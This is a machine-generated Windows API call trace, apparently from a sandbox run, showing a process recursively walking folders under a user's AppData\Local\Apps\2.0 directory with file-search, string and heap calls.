FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.300] wcscmp (_String1="..", _String2=".") returned 1 [0151.300] wcscmp (_String1="..", _String2="..") returned 0 [0151.300] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1 [0151.300] wcscmp (_String1="6NG60CXZ.9GJ", _String2=".") returned 1 [0151.300] wcscmp (_String1="6NG60CXZ.9GJ", _String2="..") returned 1 [0151.300] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97b808 [0151.300] wcscpy (in: _Dest=0x97b808, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0151.300] wcscat (in: _Dest=0x97b808, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\" [0151.300] wcscat (in: _Dest=0x97b808, _Source="6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0151.300] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f49f8 [0151.300] wcscpy (in: _Dest=0x8f49f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0151.300] wcscat (in: _Dest=0x8f49f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\" [0151.300] wcscat (in: _Dest=0x8f49f8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*" [0151.300] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd928 [0151.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941eb0 [0151.300] wcscmp (_String1=".", _String2=".") returned 0 [0151.300] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.301] wcscmp (_String1="..", _String2=".") returned 1 [0151.301] wcscmp (_String1="..", _String2="..") returned 0 [0151.301] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0151.301] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2=".") returned 1 [0151.301] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2="..") returned 1 [0151.301] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x116) returned 0x8fa890 [0151.301] wcscpy (in: _Dest=0x8fa890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0151.301] wcscat (in: _Dest=0x8fa890, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\" [0151.301] wcscat (in: _Dest=0x8fa890, _Source="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0151.301] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11a) returned 0x9bfdf0 [0151.301] wcscpy (in: _Dest=0x9bfdf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0151.301] wcscat (in: _Dest=0x9bfdf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0151.301] wcscat (in: _Dest=0x9bfdf0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*" [0151.301] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bb510 [0151.301] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x9bb510 | out: lpFindFileData=0x9bb510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9426b0 [0151.323] wcscmp (_String1=".", _String2=".") returned 0 [0151.323] FindNextFileW (in: hFindFile=0x9426b0, lpFindFileData=0x9bb510 | out: lpFindFileData=0x9bb510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.324] wcscmp (_String1="..", _String2=".") returned 1 [0151.324] wcscmp (_String1="..", _String2="..") returned 0 [0151.324] FindNextFileW (in: hFindFile=0x9426b0, lpFindFileData=0x9bb510 | out: lpFindFileData=0x9bb510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0151.324] wcscmp (_String1="Data", _String2=".") returned 1 [0151.324] wcscmp (_String1="Data", _String2="..") returned 1 [0151.324] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x120) returned 0x8f6978 [0151.324] wcscpy (in: _Dest=0x8f6978, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0151.324] wcscat (in: _Dest=0x8f6978, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0151.324] wcscat (in: _Dest=0x8f6978, _Source="Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" [0151.324] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x124) returned 0x8f6488 [0151.324] wcscpy (in: _Dest=0x8f6488, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" [0151.324] wcscat (in: _Dest=0x8f6488, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\" [0151.324] wcscat (in: _Dest=0x8f6488, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*" [0151.324] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bcd20 [0151.324] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x9bcd20 | out: lpFindFileData=0x9bcd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942070 [0151.326] wcscmp (_String1=".", _String2=".") returned 0 [0151.326] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x9bcd20 | out: lpFindFileData=0x9bcd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.326] wcscmp (_String1="..", _String2=".") returned 1 [0151.326] wcscmp (_String1="..", _String2="..") returned 0 [0151.326] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x9bcd20 | out: lpFindFileData=0x9bcd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.326] FindClose (in: hFindFile=0x942070 | out: hFindFile=0x942070) returned 1 [0151.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bcd20) returned 1 [0151.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0151.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6978) returned 1 [0151.326] FindNextFileW (in: hFindFile=0x9426b0, lpFindFileData=0x9bb510 | out: lpFindFileData=0x9bb510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0151.326] FindClose (in: hFindFile=0x9426b0 | out: hFindFile=0x9426b0) returned 1 [0151.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bb510) returned 1 [0151.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfdf0) returned 1 [0151.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0151.326] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0 [0151.326] FindClose (in: hFindFile=0x941eb0 | out: hFindFile=0x941eb0) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd928) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f49f8) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b808) returned 1 [0151.327] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0 [0151.327] FindClose (in: hFindFile=0x942230 | out: hFindFile=0x942230) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9be060) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad668) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940bb8) returned 1 [0151.327] FindNextFileW (in: hFindFile=0x9428f0, lpFindFileData=0x9beed0 | out: lpFindFileData=0x9beed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0 [0151.327] FindClose (in: hFindFile=0x9428f0 | out: hFindFile=0x9428f0) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9beed0) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff80) returned 1 [0151.327] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0100) returned 1 [0151.327] FindNextFileW (in: hFindFile=0x9427b0, lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1 [0151.327] wcscmp (_String1="DQQ19BCJ.JAX", _String2=".") returned 1 [0151.327] wcscmp (_String1="DQQ19BCJ.JAX", _String2="..") returned 1 [0151.327] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6cf8 [0151.327] wcscpy (in: _Dest=0x8e6cf8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0151.328] wcscat (in: _Dest=0x8e6cf8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0151.328] wcscat (in: _Dest=0x8e6cf8, _Source="DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0151.328] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e79e8 [0151.328] wcscpy (in: _Dest=0x8e79e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0151.328] wcscat (in: _Dest=0x8e79e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\" [0151.328] wcscat (in: _Dest=0x8e79e8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*" [0151.328] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9beed0 [0151.328] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x9beed0 | out: lpFindFileData=0x9beed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9428f0 [0151.328] wcscmp (_String1=".", _String2=".") returned 0 [0151.328] FindNextFileW (in: hFindFile=0x9428f0, lpFindFileData=0x9beed0 | out: lpFindFileData=0x9beed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.328] wcscmp (_String1="..", _String2=".") returned 1 [0151.328] wcscmp (_String1="..", _String2="..") returned 0 [0151.328] FindNextFileW (in: hFindFile=0x9428f0, lpFindFileData=0x9beed0 | out: lpFindFileData=0x9beed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1 [0151.328] wcscmp (_String1="YVORLGOR.PNT", _String2=".") returned 1 [0151.328] wcscmp (_String1="YVORLGOR.PNT", _String2="..") returned 1 